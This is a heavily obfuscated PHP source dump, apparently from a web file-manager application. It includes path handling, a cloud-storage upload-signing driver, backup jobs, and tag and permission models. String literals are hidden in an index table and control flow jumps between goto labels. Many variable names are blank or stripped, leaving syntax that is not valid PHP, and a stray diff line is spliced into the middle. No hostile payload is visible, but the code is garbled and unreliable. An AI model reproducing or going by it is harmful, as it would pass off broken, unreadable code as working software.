$ʀ)) { $[$Ꝧ[1202]] = $ۙ[1]; $[$Ꝧ[33]] = $; $[$Ꝧ[1303]] = substr($, 1, -1); $[$Ꝧ[428]] = $ۙ[3]; } $[$Ꝧ[1201]] = $ۙ[4]; } $ = array($Ꝧ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$Ꝧ[1266]] = in_array($[$Ꝧ[33]], $); return $; } public static function isTruePath($έɄ) { $ٮ =& $_SERVER[]; if (substr($έɄ, 0, 1) != $ٮ[1302]) { return !0; } if (strpos($έɄ, $ٮ[437]) === 0) { return !0; } if (strpos($έɄ, $ٮ[1270]) === 0) { return !0; } if (strpos($έɄ, $ٮ[1304]) === 0) { return !0; } if (strpos($έɄ, $ٮ[1305]) === 0) { return !0; } if (strpos($έɄ, $ٮ[1306]) === 0) { return !0; } return !1; } public static function clear($͝) { $Ҷ =& $_SERVER[]; $͝ = str_replace(array($Ҷ[1111], $Ҷ[231]), $Ҷ[53], $͝); $͝ = str_replace($Ҷ[97], $Ҷ[8], $͝); $μ = $Ҷ[1307]; if (substr($͝, 0, 3) == $Ҷ[1308]) { $͝ = substr($͝, 3); } while (strstr($͝, $μ)) { $͝ = str_replace($μ, $Ҷ[8], $͝); } $͝ = preg_replace($Ҷ[1309], $Ҷ[8], $͝); if ($͝ == $Ҷ[8]) { return $Ҷ[8]; } $͝ = rtrim($͝, $Ҷ[8]); return $͝; } public static function pathTrue($͚) { $ =& $_SERVER[]; if (!$͚) { return $[12]; } $̙ = strlen($͚); if (substr($͚, $̙ - 1, 1) == $[8]) { $͚ = substr($͚, 0, $̙ - 1); } $͚ = str_replace($[548], $[8], str_replace($[1310], $[8], $͚)); if (substr($͚, 0, 2) == $[1311]) { $͚ = substr($͚, 2); } if (!strstr($͚, $[1308])) { return $͚; } $ = explode($[8], $͚); $ʎ = array_search($[1312], $); if ($ʎ >= 0) { $[$ʎ] = -1; } if ($ʎ > 0) { $[$ʎ - 1] = -1; } $ې΍ = array(); foreach ($ as $Ƞ) { if ($Ƞ !== -1) { $ې΍[] = $Ƞ; } } return self::pathTrue(implode($[8], $ې΍)); } public static function sourceID($돛) { $ӏ =& $_SERVER[]; $ռ = self::parse($돛); if ($ռ[$ӏ[33]] !== self::KOD_SOURCE) { show_json(LNG($ӏ[1313]), !1); } return $ռ[$ӏ[428]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $螸) { return self::makePath(self::KOD_SHARE_ITEM, $, $螸); } public static function makeFileTypePath($) { return self::makePath(self::KOD_USER_FILE_TYPE, $); } public static function makeFileTagPath($式) { return self::makePath(self::KOD_USER_FILE_TAG, $式); } public static function makePath($ŕ, $תԔ = '', $© = '') { $ =& $_SERVER[]; $ = substr($ŕ, 1, -1); $Ӣ = $[1314] . $ . $[1315] . $תԔ . $[1316]; $Ӣ = $© ? $Ӣ . $© . $[8] : $Ӣ; return $Ӣ; } public static function hashPath($, $Ѭ = true) { $ =& $_SERVER[]; $ҭ = is_array($) ? $ : IO::info($); $ٗ = _get($ҭ, $[1317], $[12]); if (!$ٗ && isset($ҭ[$[431]])) { $ҭ = IO::info(KodIO::make($ҭ[$[431]])); $ٗ = _get($ҭ, $[1317], $[12]); } if (!$ٗ && $Ѭ) { $ = KodIO::parse($ҭ[$[84]]); if (!$[$[33]]) { $ٗ = IO::hashSimple($ҭ[$[84]]); } } if (!$ٗ) { $ٗ = md5($ҭ[$[84]] . $ҭ[$[76]] . $ҭ[$[85]]); } return $ٗ; } public static function hashPathSafe($, $Բ = true) { $҃ =& $_SERVER[]; $ = self::hashPath($, $Բ); return md5($ . $҃[1318] . Model($҃[796])->get($҃[797])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1319])) { return; } define($[1319], self::systemPath($[1320])); define($[1321], self::systemPath($[1322])); define($[1323], self::systemPath($[1324])); define($[1325], self::systemPath($[1326])); IOHistory::bindEvent(); } public static function systemPath($) { $ =& $_SERVER[]; $ = $[1327] . ucfirst($); $ = Model($[796])->get($); if ($) { return $; } if ($ == $[1320]) { $ = self::make(Model($[851])->systemRootPathAdd($[563])); } else { $ = self::systemPath($[1320]); $䪩 = self::sourceID($); $ = self::make(Model($[851])->mkdir($䪩, $)); } Model($[796])->set($, $); return $; } public static function systemFolder($ҡ) { $ʧ = IO_PATH_SYSTEM_SOURCE . $ҡ; $ = Cache::get($ʧ); if (!$) { $ߪ = IO::infoFull($ʧ); if (!$ߪ) { $ = IO::mkdir($ʧ, REPEAT_SKIP); } else { $ = $ߪ[$_SERVER[][84]]; } Cache::set($ʧ, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][793])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $뿫 = self::defaultDriver(); return $[1328] . $뿫[$[428]] . $[1316]; } public static function defaultDriverInit() { static $񝲽 = false; if ($񝲽) { return $񝲽; } $񝲽 = IO::init(self::defaultIO()); return $񝲽; } public static function fileTypeList() { $ւ =& $_SERVER[]; $ܓ = $GLOBALS[$ւ[6]][$ւ[1329]]; foreach ($ܓ as $ => $м߱) { $ƪø = $ւ[1330] . $; $߆ = LNG($ƪø); if ($ƪø != $߆) { $ܓ[$][$ւ[32]] = $߆; } } return $ܓ; } public static function diskList($ = true) { $ᘺ = $_SERVER[][1331]; if ($) { $硛 = Cache::get($ᘺ); if (is_array($硛)) { return $硛; } } $硛 = self::diskListGet(); Cache::set($ᘺ, $硛, 60); return $硛; } public static function diskListGet() { $ =& $_SERVER[]; $ţϻ = array(); if ($GLOBALS[$[6]][$[1332]] == $[1333]) { $ = $[1334]; for ($͖ = 0; $͖ < strlen($); $͖++) { $ɛ· = $[$͖] . $[1335]; if (file_exists($ɛ·)) { $ţϻ[] = $ɛ·; } } return $ţϻ; } if (!function_exists($[98])) { $ţϻ[] = $[861]; return $ţϻ; } $ = explode($[231], shell_exec($[1336])); array_shift($); array_pop($); $ = array($[1337], $[1338], $[1339], $[1340], $[1341], $[1342], $[1343], $[1344]); foreach ($ as $) { $ = preg_split($[1345], $); $ɛ· = $[count($) - 1]; if (!strstr($[0], $[1346]) || !$ɛ·) { continue; } $ѱ٤ = rtrim($ɛ·, $[8]) . $[8]; if (in_array($ѱ٤, $)) { continue; } $ţϻ[] = $ѱ٤; } return $ţϻ; } public static function isSameDisk($, $) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1332]] == $[1333]) { return strtolower(substr($, 0, 1)) == strtolower(substr($, 0, 1)); } $м = self::diskList(); $ = !1; $ = !1; sort($м); $м = array_reverse($м); $ = rtrim($, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($м as $؆ǐ) { $ʂ = strlen($؆ǐ); if (!$ && substr($, 0, $ʂ) == $؆ǐ) { $ = $؆ǐ; } if (!$ && substr($, 0, $ʂ) == $؆ǐ) { $ = $؆ǐ; } if ($ && $) { break; } } return $ === $; } public static function transferType($, $ۼ) { $ϵ =& $_SERVER[]; $깖 = self::driverType($); $ʏх = self::driverType($ۼ); if ($깖[$ϵ[33]] == $ʏх[$ϵ[33]] && $깖[$ϵ[1347]] == $ʏх[$ϵ[1347]]) { return $ϵ[1348]; } if ($깖[$ϵ[33]] == $ϵ[894] && $ʏх[$ϵ[33]] == $ϵ[106]) { return $ϵ[1227]; } if ($깖[$ϵ[33]] == $ϵ[106] && $ʏх[$ϵ[33]] == $ϵ[894]) { return $ϵ[107]; } return $ϵ[1349]; } public static function driverType($) { $橹 =& $_SERVER[]; $Ϟ = str_replace($橹[1350], $橹[12], strtolower($->getType())); if ($Ϟ == $橹[783] || $Ϟ == $橹[1351] || $Ϟ == $橹[1352]) { $ = self::defaultDriverInit(); } else { if ($Ϟ == $橹[1237] || $Ϟ == $橹[1353]) { $ = IO::init($->pathParse[$橹[1184]]); } } $Ѝ = $->path; $Ϟ = str_replace($橹[1350], $橹[12], strtolower($->getType())); if ($Ϟ == $橹[106]) { return array($橹[33] => $橹[106], $橹[1347] => $橹[12], $橹[84] => $Ѝ, $橹[95] => $); } return array($橹[33] => $橹[894], $橹[1347] => $->pathDriver, $橹[84] => $Ѝ, $橹[95] => $); } public static function pathDriverType($ӣ) { return $ӣ ? self::driverType(IO::init($ӣ)) : !1; } public static function pathDriverLocal($ҟ) { $δ =& $_SERVER[]; $ = $ҟ ? self::driverType(IO::init($ҟ)) : !1; return $[$δ[33]] == $δ[106] ? !0 : !1; } public static function allowCover($ܥ͹, $،˚ = true) { $ =& $_SERVER[]; if (is_string($ܥ͹)) { $ܥ͹ = IO::info($ܥ͹); } if (!$ܥ͹ || $ܥ͹[$[33]] == $[75] || $ܥ͹[$[76]] <= 100) { return !1; } if (isset($ܥ͹[$[1354]]) || !$ܥ͹[$[84]]) { return !1; } if (isset($ܥ͹[$[202]]) && !$ܥ͹[$[202]]) { return $ܥ͹; } static $ = false; if (!$ || !$،˚) { $ = self::driverType(IO::init($ܥ͹[$[84]])); $ = $[$[95]]; $ = $[1355]; if ($[$[33]] == $[106]) { $ = $[1356]; } if ($[$[95]] && is_array($[$[95]]->config)) { $߻ = $[$[95]]->config; if (isset($߻[$[1357]]) && $߻[$[1357]]) { $ = $[1356]; } } } return $ == $[1356] ? !0 : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ɏ) { parent::__construct($ɏ); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($ϧ, $ʒ̏ = 3600) { $訣 =& $_SERVER[]; $ϝ = $訣[199]; $ = $訣[232]; $ڑ = $訣[242]; $ь = gmdate($訣[1358], time() + $ʒ̏); $ = (string) time() . $訣[71] . (string) (time() + $ʒ̏); $ = array($訣[243] => $ь, $訣[246] => array(array($訣[248] => $ϝ), array($訣[247] => $this->bucket), array($訣[249], $訣[250], $訣[12]), array($訣[253] => $ڑ), array($訣[1359] => $), array($訣[1360] => $this->accessKey), array($訣[1361] => $))); $ = json_encode($); $݉ = hash_hmac($訣[232], $, $this->secret); $˱ = sha1($); $ = hash_hmac($訣[232], $˱, $݉); $ = array($訣[248] => $ϝ, $訣[253] => $ڑ, $訣[261] => base64_encode($), $訣[1359] => $, $訣[1360] => $this->accessKey, $訣[1362] => $, $訣[1363] => $, $訣[182] => $this->getHost()); return $; } public function fileOutLink($ψ) { $̖ڹ =& $_SERVER[]; if (substr($ψ, 0, 7) == $̖ڹ[1364]) { $ψ = $̖ڹ[1365] . substr($ψ, 7); } header($̖ڹ[161] . $ψ); die; } } goto D; aӨ: class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ʪ =& $_SERVER[]; $this->isManual(); self::$name = date($ʪ[774]); if (!($ = Model($ʪ[775])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$ʪ[32]]; if ($[$ʪ[776]] == $ʪ[88]) { self::$name = date($ʪ[240]); $ô = 0; if (isset($[$ʪ[322]][$ʪ[200]][$ʪ[497]])) { $ô = (int) $[$ʪ[322]][$ʪ[200]][$ʪ[497]]; } if (self::$manual == 0 && $[$ʪ[32]] == self::$name) { Model($ʪ[775])->remove($[$ʪ[428]]); } $ = $this->initData($ô, $[$ʪ[777]]); } else { $this->checkStore($[$ʪ[777]]); } } self::$option = $; } private function isManual() { $ = _get($GLOBALS, $_SERVER[][778], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ɸ = 0, $ = '') { $ϴ =& $_SERVER[]; $ԏ = Model($ϴ[775])->config(); if ($ && $ԏ[$ϴ[777]] != $) { $ɸ = 0; } $this->checkStore($ԏ[$ϴ[777]]); if (self::$manual == 1) { self::$name .= $ϴ[11] . date($ϴ[779]); } $ = array($ϴ[777] => $ԏ[$ϴ[777]], $ϴ[32] => self::$name, $ϴ[776] => 0, $ϴ[780] => $ԏ[$ϴ[780]], $ϴ[781] => self::$manual, $ϴ[322] => array($ϴ[782] => array($ϴ[776] => 0), $ϴ[783] => array($ϴ[776] => 0, $ϴ[784] => 0, $ϴ[785] => 0, $ϴ[33] => $ϴ[12], $ϴ[786] => 0, $ϴ[787] => 0), $ϴ[788] => array($ϴ[776] => 0, $ϴ[784] => 0, $ϴ[785] => 0, $ϴ[786] => 0, $ϴ[787] => 0), $ϴ[200] => array($ϴ[776] => 0, $ϴ[789] => 0, $ϴ[790] => 0, $ϴ[791] => 0, $ϴ[792] => 0, $ϴ[497] => $ɸ, $ϴ[786] => 0, $ϴ[787] => 0)), $ϴ[786] => time(), $ϴ[787] => 0); $ = Model($ϴ[775])->insert($); $[$ϴ[428]] = $; return $; } private function checkStore($) { $ =& $_SERVER[]; $ = Model($[793])->listData($); Model($[793])->checkConfig($); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][775])->findByName(self::$name); } return self::$option; } public static function set($Ϩ) { $ =& $_SERVER[]; $ = self::get(); foreach ($Ϩ as $ => $ɴٓ) { $շ = explode($[10], $); $꙱ = count($շ); switch ($꙱) { case 1: $[$շ[0]] = $ɴٓ; break; case 2: $[$շ[0]][$շ[1]] = $ɴٓ; break; case 3: $[$շ[0]][$շ[1]][$շ[2]] = $ɴٓ; break; } } Model($[775])->update($[$[428]], $); self::$option = $; return self::$option; } public function keep() { $ء =& $_SERVER[]; $τ = self::get(); if ($τ[$ء[322]][$ء[782]][$ء[776]] == $ء[88]) { return; } $this->backupKeep($τ); self::set(array($ء[794] => 1)); } private function backupKeep($ߣ) { $۹ =& $_SERVER[]; if (self::$manual == 1) { return; } $ٲ = Model($۹[775])->listData(); if (empty($ٲ)) { return; } $ = 0; $ϘȐ = array(); foreach ($ٲ as $) { if ($ >= 7) { break; } $ϘȐ[] = $[$۹[32]]; $++; } for ($ = 0; $ < 12; $++) { $ϘȐ[] = date($۹[795], strtotime("\x2d{$}\40\x6d\157\156\x74\x68\163")); } $ϘȐ = array_unique($ϘȐ); $뫾 = Model($۹[796])->get($۹[797]); foreach ($ٲ as $) { if (isset($[$۹[781]]) && $[$۹[781]] == $۹[88]) { continue; } if (!empty($[$۹[32]]) && in_array($[$۹[32]], $ϘȐ)) { continue; } Model($۹[775])->remove($[$۹[428]]); $ʳ = $this->backupPath($ߣ, $뫾); IO::remove($ʳ, !1); } } private function backupPath($, $ = false) { $ʂ =& $_SERVER[]; if (!$) { $ = Model($ʂ[796])->get($ʂ[797]); } $̏ = $[$ʂ[32]]; $ = substr(md5($ʂ[798] . $ . $̏), 0, 8); return "\x7b\x69\x6f\72{$[$ʂ[777]]}\x7d\x2f\x64\141\164\x61\x62\x61\163\145\x2f\142\141\x63\153\x75\160\x2f" . $̏ . $ʂ[11] . $; } public function db() { $➉ =& $_SERVER[]; $򊄑 = self::get(); if ($򊄑[$➉[322]][$➉[783]][$➉[776]] == $➉[88]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($➉[799] => 1)); return !0; } public function dbFile() { $Ꮮ =& $_SERVER[]; $ɩ = self::get(); if ($ɩ[$Ꮮ[322]][$Ꮮ[788]][$Ꮮ[776]] == $Ꮮ[88]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($Ꮮ[800] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $ = self::get(); if ($[$[322]][$[200]][$[776]] == $[88]) { return !0; } if (!isset($[$[780]]) || $[$[780]] == $[198]) { $Ѯ = new BackupFile(); if (!$Ѯ->index()) { return !1; } } self::set(array($[801] => 1, $[776] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $徴 =& $_SERVER[]; $ĝ = Backup::get(); self::$io = $ĝ[$徴[777]]; self::$name = $ĝ[$徴[32]]; $ = new DbManage(); $ = $->dbType(); $ܷ = array($徴[802] => $, $徴[803] => time()); Backup::set($ܷ); $ = $this->tmpFilesPath() . $徴[804] . self::$name . $徴[8]; del_dir($); mk_dir($); $ȭ = $ = 0; $Ւ = new Task($徴[805], $徴[806], 0, LNG($徴[807]) . $徴[808] . LNG($徴[809])); try { $ՋǾ = $->db()->getTables(); } catch (Exception $ޒΟ) { $Ւ->end(); return !1; } $ՋǾ = array_diff($ՋǾ, array($徴[810], $徴[811])); foreach ($ՋǾ as $) { $ȭ += $->model($)->count(); } $Ւ->task[$徴[812]] = $ȭ; $GLOBALS[$徴[813]] = self::$name; foreach ($ՋǾ as $) { $멖 = $ . $ . $徴[814]; $Ӹڠ = null; if ($ == $徴[815] && (!isset($ĝ[$徴[780]]) || $ĝ[$徴[780]] == $徴[198])) { $Ӹڠ = self::$io; } $ += $->sqlFromDb($, $멖, $Ւ, $Ӹڠ); } unset($GLOBALS[$徴[813]]); $Ւ->end(); if ($ > $ȭ) { $ȭ = $; } $ܷ = array($徴[802] => $, $徴[799] => 1, $徴[816] => $ȭ, $徴[817] => $, $徴[818] => time()); Backup::set($ܷ); if ($ȭ - $ > 0) { $ = $徴[819]; if (stristr(I18n::getType(), $徴[820])) { $ = $徴[821]; } write_log(array($, $ܷ), $徴[806]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[822]]) { $ = $GLOBALS[$[6]][$[89]][$[822]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[823])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $ȑ =& $_SERVER[]; $녿 = Backup::get(); $П = $녿[$ȑ[32]]; $ = $this->tmpFilesPath() . "\x62\x61\x63\x6b\x75\160\x5f{$П}\x2f"; $ = $this->backupPath($녿); if (!($ = IO::mkdir($))) { return !1; } $ے = IO::listPath($); $ = isset($ے[$ȑ[83]]) ? $ے[$ȑ[83]] : array(); $ = array_sum(array_column($, $ȑ[76])); if (!$) { return !1; } $ = array($ȑ[824] => $, $ȑ[825] => time()); Backup::set($); $Τ = new TaskFileTransfer($ȑ[826], $ȑ[806], count($), LNG($ȑ[807]) . $ȑ[415] . LNG($ȑ[809]) . $ȑ[827]); $Τ->task[$ȑ[789]] = $; foreach ($ے[$ȑ[83]] as $ϝӝ) { $֮ = IO::move($ϝӝ[$ȑ[84]], $); if (!$֮) { $Τ->end(); $ŝ = IO::getLastError($ȑ[828] . $ϝӝ[$ȑ[84]] . $ȑ[829] . $ . $ȑ[164]); write_log($ŝ, $ȑ[806]); return !1; } } $ = new DbManage(); $Χ = $->getSqlFile(); if (!$Χ[$ȑ[830]] || !$Χ[$ȑ[13]]) { return !1; } IO::move($Χ[$ȑ[830]], $); IO::move($Χ[$ȑ[13]], $); $Τ->end(); $ = array($ȑ[831] => $, $ȑ[832] => time()); Backup::set($); return !0; } private function backupPath($ƒ) { $ =& $_SERVER[]; $ڟ = $ƒ[$[32]]; $Û = Model($[796])->get($[797]); $ͳ = substr(md5($[798] . $Û . $ڟ), 0, 8); return "\173\x69\157\x3a{$ƒ[$[777]]}\175\57\144\141\164\141\142\x61\x73\145\57\142\141\143\153\165\160\57" . $ڟ . $[11] . $ͳ; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[822]]) { $ = $GLOBALS[$[6]][$[89]][$[822]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[823])) { $ = TEMP_FILES; } } return $; } } goto a܆⠯; fΘ: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\x73\145\162\137\146\x61\x76"; protected function cacheFunctionAlias($ϭŅː) { $Ә =& $_SERVER[]; return array($Ә[1977] => array($Ә[2362] . USER_ID, $Ә[1978])); } protected function listData() { $于 =& $_SERVER[]; $㮼 = array($于[1667] => USER_ID, $于[512] => array($于[1981], 0)); $ = $于[2363]; $ = $this->field($)->where($㮼)->order($于[1984])->select(); return $ ? $ : array(); } protected function addToTag($Ȃ, $) { $ݹ =& $_SERVER[]; if (!Model($ݹ[2126])->listData($)) { return !1; } if (is_numeric($Ȃ)) { $ = Model($ݹ[851])->pathInfo($Ȃ); if (!$) { return !1; } } else { $ = IO::infoSimple($Ȃ); if (!$) { return !1; } $㚏 = $[$ݹ[32]]; $ĕ = $[$ݹ[33]]; if (isset($[$ݹ[439]])) { $ĕ = $[$ݹ[439]] == $ݹ[88] ? $ݹ[75] : $ݹ[200]; } } $ = array($ݹ[1667] => USER_ID, $ݹ[512] => $, $ݹ[450] => $Ȃ, $ݹ[451] => $ĕ ? $ĕ : $ݹ[445], $ݹ[449] => $㚏 ? $㚏 : $ݹ[12], $ݹ[1870] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $҄) { $ =& $_SERVER[]; if (!Model($[2126])->listData($҄)) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1667] => USER_ID, $[512] => $҄, $[450] => $); return $this->where($)->delete(); } protected function removeByTag($) { $ﯠ =& $_SERVER[]; if (!$) { return !1; } $Ӯ = array($ﯠ[1667] => USER_ID, $ﯠ[512] => $); return $this->where($Ӯ)->delete(); } protected function removeBySource($ܐ) { $ަ =& $_SERVER[]; if (is_array($ܐ)) { $ܐ = array($ަ[7], $ܐ); } $ӊס = array($ަ[1667] => USER_ID, $ަ[512] => array($ަ[1047], 0), $ަ[450] => $ܐ); return $this->where($ӊס)->delete(); } } \ No newline at end of file + goto c󴑔޽; cɍ: class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\165\x72\x63\x65\137\x61\x75\x74\150"; public function getAuth($偗݂) { $˲ =& $_SERVER[̧]; $ = $this->sourceAuthSelect($偗݂); $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $㳨) { $ = Model($˲[536])->listData($㳨[$˲[1955]]); if (!$) { continue; } $[] = $㳨; $ = 0; if ($㳨[$˲[449]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($㳨[$˲[449]] == SourceModel::TYPE_USER) { $ = $; } if ($㳨[$˲[449]] == SourceModel::TYPE_USER && $㳨[$˲[534]] == $˲[198]) { $ = 0; } $[] = $[$˲[451]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $җ =& $_SERVER[̧]; static $ꝛ܆ = array(); $ = is_array($) ? !1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $뽍φ) { if (isset($ꝛ܆[$뽍φ])) { $[$뽍φ] = $ꝛ܆[$뽍φ]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $ڲ = $җ[2032]; $صɳ = array($җ[440] => array($җ[7], $)); $ = $this->field($ڲ)->order($җ[437])->where($صɳ)->select(); $ߟ = array_to_keyvalue_group($, $җ[440]); foreach ($ as $뽍φ) { $ꝛ܆[$뽍φ] = $ߟ[$뽍φ] ? $ߟ[$뽍φ] : array(); } if ($) { return $; } return $ߟ; } public function setAuth($ÖÈ, $ʋ) { $ =& $_SERVER[̧]; $ = Model($[1353])->sourceInfo($ÖÈ); if (!$) { return !1; } if ($[$[449]] != SourceModel::TYPE_GROUP) { return !1; } $ĥҔ = 1; $ = $[$[534]]; if ($ != $ĥҔ) { $ط = array($[1851] => $); $ = Model($[1941])->field($[1661])->where($ط)->select(); $ = array_to_keyvalue($, $[12], $[1661]); } $׍ݭ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ܬ = array(); foreach ($ʋ as $𽡷) { if (!in_array($𽡷[$[449]], $׍ݭ)) { show_json(LNG($[2033]), !1); } if ($ != $ĥҔ) { if ($𽡷[$[449]] == SourceModel::TYPE_GROUP) { } if ($𽡷[$[534]] != 0 && !in_array($𽡷[$[534]], $)) { } } if ($𽡷[$[534]] == 0) { $𽡷[$[449]] = SourceModel::TYPE_USER; } $ܬ[] = array($[440] => $ÖÈ, $[449] => intval($𽡷[$[449]]), $[534] => intval($𽡷[$[534]]), $[1955] => intval($𽡷[$[1955]]) ? intval($𽡷[$[1955]]) : 0, $[2015] => intval($𽡷[$[2015]]) ? intval($𽡷[$[2015]]) : -1); } $this->where(array($[455] => $ÖÈ))->delete(); $this->addAll($ܬ); return !0; } public function authClear($ز) { $ =& $_SERVER[̧]; $ = Model($[1353])->sourceInfo($ز); $ = array($ز); if ($[$[448]] == $[88]) { $ðĦ = array($[618] => array($[578], $[$[549]] . $ز . $[579])); $ = Model($[1353])->field($[455])->where($ðĦ)->getField($[440], !0); $[] = $ز; } $this->where(array($[455] => array($[456], $)))->delete(); return !0; } public function getAllChildren($֭®) { $ =& $_SERVER[̧]; $ܕҳ = Model($[1353])->sourceInfo($֭®); if ($ܕҳ[$[448]] != $[88]) { return $this->sourceListAuth(array($֭®)); } if ($ܕҳ[$[449]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($֭®); if ($ܕҳ[$[470]] == $[198] && $ܕҳ[$[534]] != $) { $ = $this->groupChidldAllRootSource($ܕҳ[$[534]]); } $ɬ = $this->field($[440])->group($[440])->select(); $ɬ = array_to_keyvalue($ɬ, $[12], $[440]); if (!$ɬ) { return array(); } $Ϗ = $[2034]; $Í = array($[440] => array($[7], $ɬ), $[469] => $[198]); $Җ = Model($[845])->field($Ϗ)->where($Í)->select(); $ = array($֭®); foreach ($Җ as $) { foreach ($ as $) { $ؿ = $[50] . $ . $[50]; $ = $[$[549]] . $[$[440]] . $[50]; if (strstr($, $ؿ)) { $[] = $[$[440]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $Ŵ =& $_SERVER[̧]; $ = Model($Ŵ[1353])->sourceListInfo($, !0); $ʄ = $this->sourceAuthSelect($); $Ɵ = array(); $э֘ = array(); foreach ($ as $) { unset($[$Ŵ[494]]); unset($[$Ŵ[492]]); unset($[$Ŵ[451]]); unset($[$Ŵ[87]]); $ͅ = $ʄ[$[$Ŵ[440]]]; if (!$ͅ) { continue; } $[$Ŵ[2035]] = $this->authTargetInfo($ͅ); $[$Ŵ[547]] = rtrim($[$Ŵ[553]], $Ŵ[8]) . $Ŵ[8] . ltrim($[$Ŵ[547]], $Ŵ[8]); $Ɵ[] = $; $ؕ = count(explode($Ŵ[8], trim($[$Ŵ[547]], $Ŵ[8]))); $э֘[] = $ؕ + ($[$Ŵ[33]] == $Ŵ[75] ? 0 : 1000); } array_multisort($э֘, SORT_ASC, $Ɵ); return $Ɵ; } private function groupChidldAllRootSource($) { $⨖ =& $_SERVER[̧]; $ܷ = Model($⨖[2036])->groupChildrenAll($); $ﭑ = array($⨖[470] => 0, $⨖[534] => array($⨖[7], $ܷ), $⨖[449] => SourceModel::TYPE_GROUP); $ = Model($⨖[845])->field($⨖[440])->where($ﭑ)->select(); $ = array_to_keyvalue($, $⨖[12], $⨖[440]); return $; } private function authTargetInfo($畅὜) { $ =& $_SERVER[̧]; $ = array(); $ = array(); $Ɛ = 2 << 25; foreach ($畅὜ as $ܧ) { $ꮮЌ = Model($[536])->listData($ܧ[$[1955]]); if (!$ꮮЌ) { continue; } if ($ܧ[$[449]] == SourceModel::TYPE_USER) { $Ș = Model($[542])->getInfoSimpleOuter($ܧ[$[534]]); if ($Ș[$[1661]] == $[1208]) { continue; } if ($Ș[$[1661]] == $[198]) { $Ș[$[32]] = LNG($[2037]); } } else { $Ș = Model($[550])->getInfoSimple($ܧ[$[534]]); } if (!$Ș) { continue; } $Ș[$[505]] = $ꮮЌ; $[] = $Ș; $ = 0; if ($ܧ[$[449]] == SourceModel::TYPE_GROUP) { $ = $Ɛ * 2; } if ($ܧ[$[449]] == SourceModel::TYPE_USER) { $ = $Ɛ; } if ($ܧ[$[449]] == SourceModel::TYPE_USER && $ܧ[$[534]] == $[198]) { $ = 0; } $[] = $ꮮЌ[$[451]] + $; } array_multisort($, SORT_DESC, $); return $; } public function getAllChildrenByUser($ާ, $) { $ =& $_SERVER[̧]; $ͨ = Model($[563])->getInfo($); if (!$ || !$ާ || !$ͨ) { return array(); } $󉂈 = Model($[1353])->sourceInfo($ާ); $Îǁ = array(); $ = 1; if ($󉂈[$[470]] == $[198] && $󉂈[$[534]] != $ && $this->groupContainUser($󉂈[$[534]], $)) { foreach ($ͨ[$[2038]] as $dž) { $ = Model($[550])->getInfo($dž[$[1851]]); $ܟ = Model($[563])->getInfoSimpleOuter($); $ܟ[$[505]] = $dž[$[451]]; if (Model($[536])->authCheckAction($dž[$[451]][$[451]], $[1872])) { continue; } $_ = array($[32] => $[1228] . $[$[32]], $[440] => $[$[87]][$[440]], $[84] => KodIO::make($[$[87]][$[440]]), $[470] => $[198], $[449] => $[543], $[33] => $[582], $[547] => $[$[554]], $[1851] => $[$[1851]], $[551] => $[$[470]], $[2035] => array($ܟ)); $Îǁ[$_[$[440]]] = $_; } } $̸͐ = array(); $ᭉ߸ = $this->getAllChildren($ާ); foreach ($ᭉ߸ as $DŽɖ) { $ナ볿 = !1; foreach ($DŽɖ[$[2035]] as $Þ) { if ($Þ[$[1661]]) { if ($Þ[$[1661]] == $) { $ナ볿 = !0; break; } } if ($Þ[$[1851]]) { if ($this->groupContainUser($Þ[$[1851]], $)) { $ナ볿 = !0; break; } } } if ($ナ볿) { $̸͐[] = $DŽɖ; } $鹜 = $DŽɖ[$[440]]; if (isset($Îǁ[$鹜])) { $DŽɖ[$[2035]][] = $Îǁ[$鹜][0]; $Îǁ[$鹜] = !1; } } $Îǁ = array_filter(array_values($Îǁ)); $̸͐ = array_merge($Îǁ, $̸͐); return $̸͐; } public function setAllChildrenByUser($ң, $ĩݪ, $黬) { $ڷڰ =& $_SERVER[̧]; $ = $this->getAllChildrenByUser($ң, $ĩݪ); if (!$黬 || !$) { return !1; } foreach ($ as $ч) { $씤 = array(); foreach ($ч[$ڷڰ[2035]] as $) { $޲ = $[$ڷڰ[505]]; $鯬 = $[$ڷڰ[1661]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $˳ = $[$ڷڰ[1661]] ? 